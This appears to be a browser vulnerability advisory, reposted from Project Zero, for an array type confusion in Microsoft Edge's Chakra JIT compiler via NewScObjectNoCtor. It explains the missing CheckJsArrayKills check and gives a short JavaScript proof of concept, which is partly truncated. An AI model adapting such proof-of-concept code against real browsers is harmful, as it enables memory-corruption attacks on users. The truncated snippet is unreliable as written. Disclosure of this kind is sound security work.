Microsoft Edge Chakra JIT NewScObjectNoCtor Array Type Confusion

Microsoft Edge Chakra JIT suffers from an array type confusion via NewScObjectNoCtor.

MD5 | b346efc94524402d160194830a4e23a7

Microsoft Edge: Chakra: JIT: Array type confusion via NewScObjectNoCtor 


This is similar to the previous issues 1457, <a href="/p/project-zero/issues/detail?id=1459" title="Microsoft Edge: Chakra: JIT: Array type confusion via Array.prototype.reverse" class="closed_ref" rel="nofollow"> 1459 </a>(MSRC 42551, MSRC 42552).

If a JavaScript function is used as a consturctor, it sets the new object's "__proto__" to its "prototype". The JIT compiler uses NewScObjectNoCtor instructions which are not checked by CheckJsArrayKills.

function inlinee() {


function opt(arr) {
arr[0] = 1.1;
new inlinee();
arr[0] = 2.3023e-320;

function main() {
let arr = [1.1];
for (let i = 0; i < 10000; i++) {
inlinee.prototype = {};

inlinee.prototype = arr;



This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: lokihardt

Related Posts